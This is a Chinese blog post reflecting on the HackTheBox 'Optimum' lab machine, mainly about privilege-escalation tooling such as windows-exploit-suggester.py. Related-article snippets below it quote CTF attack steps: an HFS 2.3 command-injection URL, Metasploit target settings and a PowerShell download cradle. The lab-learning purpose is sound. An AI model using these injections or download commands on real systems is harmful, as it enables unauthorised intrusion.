Hackthebox :: optimum反思和总结

最新推荐文章于 2024-11-01 16:03:12 发布
最新推荐文章于 2024-11-01 16:03:12 发布
阅读量1.1k 收藏
点赞数
分类专栏： walkthrough 渗透测试 文章标签： 安全 系统安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-NC-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/missmxr/article/details/121463736
版权

Hackthebox :: optimum反思和总结

  • optimum是hackthebox上一台简单的windows靶机

cover

反思

  • 这台靶机我顺利的找到了突破口，但是msf中的post/multi/recon/local_exploiter_suggester 模块并没有用
  • 使用别人提供的windows-exploit-suggester.py 出现了问题，需要pip2

总结

  • 上一篇靶机的反思与总结中我也提到了post/multi/recon/local_exploiter_suggester 模块没有用的问题，看来这是一个常态，解决这个问题的方法是需要下载一个脚本文件windows-exploit-suggester.py，它的功能就相当于那个模块的功能
  • 运行脚本后仔细观察上面的介绍，虽然都是英文的，但是我们只要看关键字就可以了，并且后面标有MSF的是可以用msf破解的，这个技巧是我在别人的walkthrough上面没有看到的，忍不住夸我一下。

相关链接

windows-exploit-suggester.py

linux安装pip2

维基人
关注
专栏目录
hackthebox-optimum(考点：hfs/windows）不用msf
冬萍子癸水
04-10 488
用msf做很快。这台靶机很多人做以及写的writeup都是msf。但针对oscp备考者，本篇文章不用msf nmap 就一个80，提示是HFS 2.3 直接搜searchsploit hfs 用python比较方便，就选择39161.py 打开py看看，有几处要修改。IP端口当然要改成自己的。看样子这是个直接弹shell到本机的py。另外我还看到代码里有nc，而且还是从本机的http里open...
Hackthebox：Granny Walkthrough（not use metasploit）
汗的博客
12-06 1117
预备知识 nikto、nmap、iis6.0的webdav、davtest 信息收集a nmap 10.10.10.15 只开了个80端口，那么还是web，浏览器访问目标机器 直接就是报错页面，迷惑，不过可知服务器是iis 扫了下目录，毫无思路，nmap扫下漏洞 nmap -script=vuln 10.10.10.15 还是没什么发现 nikto 扫一下，这次的信息就多了 nikto -h http://10.10.10.15 + Server: Microsoft-IIS/6.0 + Retrieved
Hack the box靶机 Optimum
菜浪马废的博客
05-28 299
拿到user.txt msf关于win的提权 还是要再看看 要不不会 今天先这样吧 睡觉
HackTheBox-Optimum
weixin_45345568的博客
10-09 403
HackTheBox-Optimum ip:10.10.10.8 0x01 信息搜集： 1.nmap扫描IP nmap -A -Pn 10.10.10.8 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 16:05 CST Nmap scan report for 10.10.10.8 Host is up (0.34s latency). Not shown: 999 filtered ports PORT STATE SERVICE VE
实战Hack The Box里的Optimum
知柯信安
01-13 539
第一步是运行Nmap并发现主机上运行的服务。 # Nmap 7.80 scan initiated Thu Sep 3 13:38:37 2020 as: nmap -p- -oN scan -sV -O -sC 10.10.10.8 Nmap scan report for 10.10.10.8 Host is up (0.020s latency). Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 80/tcp open
hack the box optimum靶机
zr1213159840的博客
04-21 2210
首先打开靶场，直接nmap开扫。 nmap -sV -Pn -A 10.10.10.8 通过扫描结果知道开启了80端口，80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞 search hfs 使用下面的hfs的命令执行，然后看下要配置哪些东西 use 1 options 需要配置好远程主机，本地主机，配置好，run。多run几次，前面几次容易失败，而且要等挺久的。 set RHOSTS 10.10.10.8 set LHOSTS 10.10.14.17 run 利用成功后，返回me
Hackthebox：Optimum Walkthrough（not use metasploit）
汗的博客
12-06 547
信息收集 nmap 10.10.10.8 发现只开了一个80端口的http 浏览器打开 google可知HFS的含义是Http File Server，可以上传文件，页面也显示HttpFileServer 2.3 查找相关漏洞 searchsploit HFS -----------------------------------------------------------------------------------------------------------------------------
[Hack The Box]靶机8 Optimum
Huamang的博客
04-01 493
nmap直接开漏扫，发现cve-2011-3192，没啥用，开了80端口，去看看 打开是HFS，nmap扫出来是HFS2.3 这个版本的HFS是有cve的 https://nvd.nist.gov/vuln/detail/CVE-2014-6287 msf有这个模块 直接拿下shell 拿到user.txt 进不了admin，需要提权 本地起一个python服务，把winpeas传上去 powershell -c "(new-object System.Net.WebClient).Dow.
HTB Optimum[Hack The Box HTB靶场]writeup系列6
重新启程
02-04 3214
这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行systeminfo 执行windows-exploit-suggester.py 执行ms16-098 0x00 靶机情况 可以看到这台靶机是windows的靶机，难...
HackTheBox-optimum&shocker渗透测试
weixin_43111940的博客
04-16 300
optimum 端口 sudo nmap -sC -sV -A -p 80 10.10.10.8 可以看到是fileserver和对应的版本2.3 找到对应的CVE-2014-6287 看一下这个漏洞的详细信息，就是一个类似00截断去执行命令的RCE http://localhost:80/?search=%00{.exec|cmd.} bp抓包修改参数 kali监听网卡 sudo tcpdump -i tun0 抓到了icmp包，可以命令执行 在靶机上执行powershell命令来下载攻击机上
HackTheBox:只是我在做HackTheBox时的个人记录
04-03
哈克盒子 按HTB难度等级和顺序排序 机器 简单 ：端口445 Netbios Samba用户名映射脚本命令执行 ：MS08_067 NetAPI远程执行代码漏洞 ：通过FTP上传的ASPX反向Shell（IIS） ：端口443 VTigerCRM（Elastix）本地文件包含LFI漏洞，通过凭据重用进行SSH ：端口80 HFS 2.3远程执行代码 ：端口8500 FMTP Adob​​e ColdFusion 8目录遍历，通过任务计划程序进行JSP反向Shell ：端口80 Microsoft IIS WebDav ScStoragePathFromUrl溢出 ：端口80 Microsoft IIS WebDav ScStoragePathFromUrl溢出 ：通过GoBuster，SUID特权升级发现的端口80未加密凭据 ：80个端口凭据通过GoBuster发现，通过SSH
HackTheBox::Optimum
aya3t的博客
10-10 115
HackTheBox::Optimum
【Hack The Box】windows练习-- Optimum
人间体佐菲的博客
10-29 742
【Hack The Box】windows练习-- Optimum
基于 SM3 的密钥派生函数 (KDF)：国密合规的安全密钥生成方案
A_Lonely_Smile的博客
10-29 1034
在现代加密技术中，密钥派生函数（Key Derivation Function, KDF）是一个将初始输入（如密码、共享密钥等）转换为安全密钥的过程，用于实现加密、消息认证等密码操作。特别是在符合国密标准的场景中，基于 SM3 的 KDF 已成为一种常用的密钥生成方式。本文将详细讲解 SM3-KDF 的工作原理，逐步介绍其实现过程，并提供 Java 代码示例，帮助您理解如何在项目中应用 SM3-KDF。
冷钱包与热钱包的差异 | 加密货币存储的安全方案
最新发布
tusik68的博客
11-01 1211
想要安全存储加密货币？了解冷钱包和热钱包的核心差异，找到适合的存储方式，确保您的数字资产安全无忧。
轻型民用无人驾驶航空器安全操控理论培训知识总结-多旋翼部分
Lizzy_Fly的博客
10-30 980
15.航空器的视觉避障只有在光照等环境条件满足视觉系统工作要求时才能生效，光照条件特别暗或者特别亮的情况下，请谨慎飞行，即使视觉系统正常工作时，也可能无法精准识别高压线，而且高压线还会影响图传和遥控信号，因此不建议在高压线间飞行，如因电力巡检等工作原因必须在此环境下飞行，建议经专门培训后再进行操作;当航空器记录了返航点并且在定位服务良好的情况下，航空器电池电量不足、遥控器与航空器之间失去通讯信号以及图传信号丢失时，将会触发自动返航，操控员也可主动开启自动返航，航空器将自动返回返航点并降落。
Linux系统安全配置
qq_24442273的博客
10-28 1018
【代码】Linux系统安全配置。
漫途焊机安全生产监管方案，提升安全生产管理水平！
mantoo2014的博客
11-01 323
随着智能制造时代的到来，企业安全生产管理的重要性日益凸显。因此，利用物联网技术和设备监控技术加强焊机安全生产监管，成为企业提升安全生产管理效率、降低安全事故率的重要手段。漫途焊机安全生产监管方案，凭借其物联网技术和设备监控技术。
如何在Linux系统中使用SSH进行安全连接
qq_36287830的博客
10-30 460
SSH是一个网络协议，用于计算机之间的安全登录以及命令执行，此外还允许进行安全的数据传输。通过本文，你已经学习了如何在Linux系统中使用SSH进行安全连接。我们介绍了SSH的基本概念、安装方法、启动SSH服务、验证安装、SSH配置、SSH客户端、SSH密钥认证、使用SSH隧道、SSH端口转发、使用SSH代理、SSH环境变量、SSH日志、SSH守护进程选项、使用SSH密钥管理工具、使用SSH证书、使用SSH网关、SSH的高级特性等内容。
ModuleNotFoundError: No module named 'optimum.quanto'
07-02
"ModuleNotFoundError: No module named 'optimum.quanto'" 这是一个 Python 中常见的错误，当你尝试导入名为 'optimum.quanto' 的模块时，Python 解释器找不到这个模块。这通常意味着以下几个可能的情况： 1. **模块未安装**：你可能还没有安装 'optimum' 包，特别是 'quanto' 组件。你可以使用 `pip install optimum` 或者 `pip install optimum[quanto]`（如果 'quanto' 是可选组件）来安装。 2. **包路径问题**：模块可能不在 Python 的默认搜索路径中。检查你的项目结构，确保 'optimum' 包位于正确的文件夹，并且在你的脚本或环境中添加了正确的路径。 3. **版本兼容性**：如果你的代码引用了一个特定版本的 'optimum', 但当前安装的版本不包含 'quanto'，可能会导致这个问题。确保你的 'optimum' 版本支持 'quanto'。 4. **命名冲突或拼写错误**：确保你在导入时的模块名拼写无误，有时由于类似 'quanto' 和 'quantity' 这样的相似名称可能导致混淆。 为了解决这个问题，你可以按照上述步骤排查并尝试相应的解决方法。如果你能提供更多的上下文或者详细步骤，我可以给出更具体的帮助。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值